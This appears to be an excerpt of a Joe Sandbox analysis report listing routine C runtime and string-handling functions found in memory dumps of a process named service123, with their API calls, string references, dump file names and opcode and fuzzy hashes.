API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: c682d5430ec51cefcb6f593203a695f75b25480b473aa483bff5f5b2253cc30f
Instruction ID: a4cf762fbe71cb868f60753ca02b8250ca92b9c7636fbf4dbfdcc0eb6ba528b7
Opcode Fuzzy Hash: c682d5430ec51cefcb6f593203a695f75b25480b473aa483bff5f5b2253cc30f
Instruction Fuzzy Hash: 5C51AE71B0A6118BD724DF28CA8862EF7F1FF95718F21892DE4548B714E330D905CB92

Function 6C814410 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C814471
memcpy.MSVCRT ref: 6C8144DF
memcpy.MSVCRT ref: 6C814518

Strings

basic_string::assign, xrefs: 6C814534

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: 0e938e2f18d09f1308d31d497e28cbea34eb064681ebd04319c219d6982fb4e3
Instruction ID: db14c694b442612cbd15d389123d788604c287406b7e3426c9a4a0f2f64accef
Opcode Fuzzy Hash: 0e938e2f18d09f1308d31d497e28cbea34eb064681ebd04319c219d6982fb4e3
Instruction Fuzzy Hash: C8519EB1B0A2128FD720DF29D68465AFBE5AFD231CF11896DD4948BB18E730D805CB92

Function 6C7CE980 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CE9AA
wcslen.MSVCRT ref: 6C7CEA1A

Strings

basic_string: construction from null is not valid, xrefs: 6C7CE9E2, 6C7CEA52, 6C7CEAC2

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlenwcslen
String ID: basic_string: construction from null is not valid
API String ID: 803329031-2991274800
Opcode ID: 3ddbc8c26dab43d918cc30e7065061d68e8ff7ab3cc12af62e14736511509981
Instruction ID: 7ffe85df2f5664fa0ea88caf3c26104d8c44e4440539e8c9b6bd84786a0d043f
Opcode Fuzzy Hash: 3ddbc8c26dab43d918cc30e7065061d68e8ff7ab3cc12af62e14736511509981
Instruction Fuzzy Hash: 8541ADF1A056158FCB10EF2CD68585ABBE0BF54318F564979E8848B714E331E989CBD3

Function 6C7CE581 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CE5AD
strlen.MSVCRT ref: 6C7CE5FD

Strings

basic_string: construction from null is not valid, xrefs: 6C7CE5CF, 6C7CE61F, 6C7CE66F

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid
API String ID: 39653677-2991274800
Opcode ID: 4624fa1b14439a2161ce00f3811269bfda5b8f5a9af4f7b3ad63ea36b11b3bc2
Instruction ID: 5b43b1b023df375e741522871ea3d70d3edffd23d5c9539ce5a42b267a7b51f2
Opcode Fuzzy Hash: 4624fa1b14439a2161ce00f3811269bfda5b8f5a9af4f7b3ad63ea36b11b3bc2
Instruction Fuzzy Hash: D93182B16163158FCB10AF2CD68588ABBE4BF15618B464C7EE8849B711D331EC49CBA2

Function 00487C40 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00487C92
MultiByteToWideChar.KERNEL32 ref: 00487CD5

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 5c600933942a253650abd563cd62ba807b9e594a648492ae8ffd462d6a8e89bd
Instruction ID: 9703ea9e0d6dbfe3052ab7c1ee5407db50bcd03f984521646238f5aecd4fd7e8
Opcode Fuzzy Hash: 5c600933942a253650abd563cd62ba807b9e594a648492ae8ffd462d6a8e89bd
Instruction Fuzzy Hash: B231F3B05083418FD710EF29D59466FBBE0BF86314F148D2EE9948B350E3BAD849CB96

Function 6C7B9660 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6C7B96B2
MultiByteToWideChar.KERNEL32 ref: 6C7B96F5

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 1c97eeb460bf0799f17266c863310e31d12daff287b1386cbf3b079a9ccec55c
Instruction ID: 4b73143daf3b806451ed6db75fb3f5d5beffc88663b2689a5e2edb7e213acbcd
Opcode Fuzzy Hash: 1c97eeb460bf0799f17266c863310e31d12daff287b1386cbf3b079a9ccec55c
Instruction Fuzzy Hash: CE31F7B45093418FD700DF39E68424ABBF0BFA6318F14896DE8E497751D3B6D949CB82

Function 6C7AF511 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AF5C1

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: a7d59729368a21510b8701a2237b58f05d787b4dff7793398cbfdcea545a52de
Instruction ID: 901cd0a757320c728d0baa193c59c405ff87bbccff153f964d25b74bf1adf207
Opcode Fuzzy Hash: a7d59729368a21510b8701a2237b58f05d787b4dff7793398cbfdcea545a52de
Instruction Fuzzy Hash: B1410770A0A311CFDB24DF69D68870A7BF0BB4632CF148669D8585B654E331E646CFE2

Function 6C7AF6B0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AF751

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: d7d8a78595a62773e06aa507624539e16795d6fd3822c1d662bab5845ed3f968
Instruction ID: b9349513e669dd4b9fad63b6a1389e91bd75d46883704475a86b015fadbd2b91
Opcode Fuzzy Hash: d7d8a78595a62773e06aa507624539e16795d6fd3822c1d662bab5845ed3f968
Instruction Fuzzy Hash: 3D311870606311CFDB209FA9C68830A7BF0BB4632CF55867AD8544B694E335D546CFE2

Function 6C7AF9D1 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AFA72
CreateSemaphoreW.KERNEL32 ref: 6C7AFAB7
WaitForSingleObject.KERNEL32 ref: 6C7AFB00

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 9fad16c0a7e70e217f4bbb6951e344fac06b973ff9048842df4c00a9342776d5
Instruction ID: be3cadd2a519281aa4a543464344c83e175f0c4fc6bec625a05ca53d20552b40
Opcode Fuzzy Hash: 9fad16c0a7e70e217f4bbb6951e344fac06b973ff9048842df4c00a9342776d5
Instruction Fuzzy Hash: 4531E970605311CFDB21DF69C68874A7BF0BB4632CF148679E85897680E335EA46CFA2

Function 6C7AFB60 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AFBF2
CreateSemaphoreW.KERNEL32 ref: 6C7AFC37
WaitForSingleObject.KERNEL32 ref: 6C7AFC80

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 8addc6d998253b6fb597dff2cbfb9cad00d4cfd94af6b69141b08c8bd33ef6fd
Instruction ID: 4b552e17201a4a45f86792920a7d3372fb7b54f5ac31fffc7dad8ec3ad498a3c
Opcode Fuzzy Hash: 8addc6d998253b6fb597dff2cbfb9cad00d4cfd94af6b69141b08c8bd33ef6fd
Instruction Fuzzy Hash: 6631EA70609311DFDB21AF6AC68830A7BF0BB4676CF149679E8548B284D335D546CFE2

Function 6C7A55A8 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7A72FE

Strings

}, xrefs: 6C7A7392
this, xrefs: 6C7A55B3
{parm#, xrefs: 6C7A72D9

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: 9a38e43638a880864f382386bdbf10cce9d4fafff17e017489f518dd4935c62e
Instruction ID: 8720bd99e5eb1367bb33082d99e6a2ab49e29608419626f783fcdf5da6ecd159
Opcode Fuzzy Hash: 9a38e43638a880864f382386bdbf10cce9d4fafff17e017489f518dd4935c62e
Instruction Fuzzy Hash: B921837150D381CFD7118F54C1843A9BBA1AF91304F19CABDDCC84FA4AD775948A8BA1

Function 00481001 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0048106B
__p__fmode.MSVCRT ref: 00481070
__p__commode.MSVCRT ref: 0048107D

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: 4877ae78685f1aa2e8a744b49c7490642b915f2656d7027ddad7fc04b9c55d4a
Instruction ID: f67cfad3b6e39feae7551fc026ffb3c1069f1ea30c2a8814b18f9451cca6de0a
Opcode Fuzzy Hash: 4877ae78685f1aa2e8a744b49c7490642b915f2656d7027ddad7fc04b9c55d4a
Instruction Fuzzy Hash: 02213A709002018BC710BF21E8557AE37A5BB03308F648D6FC5195B6A5D77E98C7DB9E

Function 6C819F70 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C819F85
strlen.MSVCRT ref: 6C819F8F
memcpy.MSVCRT ref: 6C819FB8
setlocale.MSVCRT ref: 6C819FCC

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: d99771e6f6d1fabf49690c683df63589dda81206cb3af388bb0bd3e6a29807db
Instruction ID: 926145bd0f4ed6104f174628435df01014269e4901a6d3210de0cd33089c6f61
Opcode Fuzzy Hash: d99771e6f6d1fabf49690c683df63589dda81206cb3af388bb0bd3e6a29807db
Instruction Fuzzy Hash: D9F0DAB150A3119AD3107F689A493AFBAF4FFA1744F418D1DE4D8ABB10E7748848CB93

Function 00484558 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

u, xrefs: 00484596
@, xrefs: 00484647

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: 67e841c4b25c5e6cc68276f808f5f486f244cbaf147afa510bf2afc7628f8193
Instruction ID: f12c8376fc331e610bc020800c0ff82f581bc2237ec7fc66c31a8511612f36a1
Opcode Fuzzy Hash: 67e841c4b25c5e6cc68276f808f5f486f244cbaf147afa510bf2afc7628f8193
Instruction Fuzzy Hash: E9A16D715083928BC721EF24C0403AFBBE1BBC5718F158E1EE9D897341D739D9469B8A

Function 6C7B4C28 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

u, xrefs: 6C7B4C66
@, xrefs: 6C7B4D17

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: dd37bf5cdbf09acce7cc387823c7955a368700fca1c59050a6f4fee0711abfc8
Instruction ID: c6fc2e968158e3f28af84e1ba56e7531a79aec6146adeae4984607d147a4f302
Opcode Fuzzy Hash: dd37bf5cdbf09acce7cc387823c7955a368700fca1c59050a6f4fee0711abfc8
Instruction Fuzzy Hash: 17A1BD7160C3958BC760CF25D29439BBBE1BF85708F148A2DE8D8A7781D734E549DB82

Function 00484C21 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00484DBE

Part of subcall function 00482830: fputc.MSVCRT ref: 004828F8

Strings

(null), xrefs: 00484C27
@, xrefs: 00484647

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: b80f583a1e73a808932df2ce9cb15cb0f295878ccfba485941961c7499015b20
Instruction ID: e02db8a9e46f96632bc46aaec3cc43643e54b8e67fd2c55bb22832fc7542bea7
Opcode Fuzzy Hash: b80f583a1e73a808932df2ce9cb15cb0f295878ccfba485941961c7499015b20
Instruction Fuzzy Hash: 08918F715083528BD721AF24C0903AFBBE1BBC5718F158E1ED9D897342D739D906DB4A

Function 6C7B52F1 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7B548E

Part of subcall function 6C7B2F00: fputc.MSVCRT ref: 6C7B2FC8

Strings

(null), xrefs: 6C7B52F7
@, xrefs: 6C7B4D17

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: fa965e0de81ae6557e19308cb9b971c56413a83b66e4f805be5f542971b1c98f
Instruction ID: 00a11bd30ad9f1767291f4976c700752e2bb692f12e4a00be2e8b30657073a9e
Opcode Fuzzy Hash: fa965e0de81ae6557e19308cb9b971c56413a83b66e4f805be5f542971b1c98f
Instruction Fuzzy Hash: 1991CF7160C3958BD7608F24D29439BBBE1BF85708F148A2DE9DCA7741D734E509EB82

Function 6C835DB0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C835DEA
wcslen.MSVCRT ref: 6C835E7C
wcslen.MSVCRT ref: 6C835F0E
strlen.MSVCRT ref: 6C835FA0

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: 6def60f25f0242e2ce95498acf255f5ecec50fd3031d628a67827d3d1ca16d59
Instruction ID: 5bd5b093ac1fe3d4d25d4cdb78e3b17a4e18542a48058859b9cb797e7fa494e8
Opcode Fuzzy Hash: 6def60f25f0242e2ce95498acf255f5ecec50fd3031d628a67827d3d1ca16d59
Instruction Fuzzy Hash: 4BF16DB4A05616CFC720DFACC6849AEBBF0BF84314B119A29D858DB750E735E945CBC2

Function 6C8355D0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C83560A
wcslen.MSVCRT ref: 6C83569C
wcslen.MSVCRT ref: 6C83572E
strlen.MSVCRT ref: 6C8357C0

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: efdd7d7fa3ff51c815e5a8240cbbc748e76c07a7e054db7e1b3771e4f118a40e
Instruction ID: c5d3fcda6c5e1da86c15091a7fb9e70c42439691b8ed71af43cd93107b51661a
Opcode Fuzzy Hash: efdd7d7fa3ff51c815e5a8240cbbc748e76c07a7e054db7e1b3771e4f118a40e
Instruction Fuzzy Hash: D0F15CB4A017168FC720DFACC2849AEBBF0BF84314B119A69D899DB754E734E945CB81

Function 004829B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00482A31

Strings

NaN, xrefs: 004829B1

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
